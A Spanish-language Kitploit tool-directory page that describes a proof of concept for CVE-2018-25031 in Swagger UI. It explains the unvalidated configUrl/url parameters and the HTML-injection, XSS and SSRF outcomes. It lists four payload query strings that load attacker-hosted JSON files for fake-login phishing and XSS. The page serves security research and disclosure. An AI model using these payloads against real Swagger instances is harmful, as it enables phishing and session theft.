Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
swagger-ui — Swagger UI (CVE-2018-25031) POC, [HTMLi, XSS]. | Kitploit
Herramientas/GitHubGitHub/relichunt3r/swagger-ui
Herramientas de PhishingAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubrelichunt3r/swagger-ui

swagger-ui

Swagger UI (CVE-2018-25031) POC, [HTMLi, XSS].

Ver Repositorio
hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Introducción: El Rol de Swagger UI

Swagger UI es una librería ampliamente utilizada que renderiza especificaciones OpenAPI (anteriormente Swagger) en una interfaz web interactiva. Permite a desarrolladores e integradores explorar y probar APIs sin necesidad de tener la implementación del backend.

Detalles de CVE‑2018‑25031

La Causa Raíz: Carga Remota de Especificaciones

La vulnerabilidad se origina en una validación insuficiente de los parámetros de consulta de URL utilizados para cargar archivos remotos de configuración o especificación por parte del cliente de Swagger UI. Los parámetros comunes involucrados son:

  • ?url=.yaml
  • ?configUrl=.json

Un atacante puede apuntar estos parámetros a una definición OpenAPI o archivo de configuración controlado por el atacante, alojado de forma remota, que puede ser renderizado por una instancia vulnerable.

Vectores de Ataque Potenciales

Cargar un archivo remoto malicioso puede habilitar varios resultados de alto impacto, dependiendo de la configuración de alojamiento y las salvaguardas implementadas:

  1. Inyección de HTML (HTMLi) / Suplantación de Identidad (Phishing) - los archivos inyectados pueden contener HTML arbitrario que falsea visualmente el contenido (por ejemplo, formularios de inicio de sesión falsos), abusando del dominio de confianza de una instancia autoalojada.
  2. Cross‑Site Scripting (XSS) - si el contenido inyectado incluye JavaScript ejecutable, puede resultar en DOM XSS y permitir el robo de sesiones o acciones en nombre de los usuarios.
  3. Server‑Side Request Forgery (SSRF) - cuando los servidores obtienen especificaciones remotas en nombre del cliente, un atacante puede forzar al servidor a realizar solicitudes a endpoints internos, exponiendo potencialmente recursos sensibles.

Referencias:

  • https://nvd.nist.gov/vuln/detail/CVE-2018-25031
  • https://blog.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers

Prueba de Concepto (PoC)

Payloads

1 - Inicio de Sesión

?configUrl=https://raw.githubusercontent.com/relichunt3r/swagger-ui/refs/heads/main/login.json

2 - Inicio de Sesión Remoto

?configUrl=https://raw.githubusercontent.com/relichunt3r/swagger-ui/refs/heads/main/remote-login.json

3 - Imagen

?configUrl=https://raw.githubusercontent.com/relichunt3r/swagger-ui/refs/heads/main/img.json

4 - XSS

?configUrl=https://raw.githubusercontent.com/relichunt3r/swagger-ui/refs/heads/main/xss.json

📌 Descargo de Responsabilidad

El contenido de este repositorio se proporciona únicamente con fines educativos e informativos. El autor no es responsable de ningún uso indebido. Asegúrese de contar con la autorización adecuada antes de usarlo, actúe de manera responsable bajo su propio riesgo y siga todas las pautas legales y éticas.

Descargar herramienta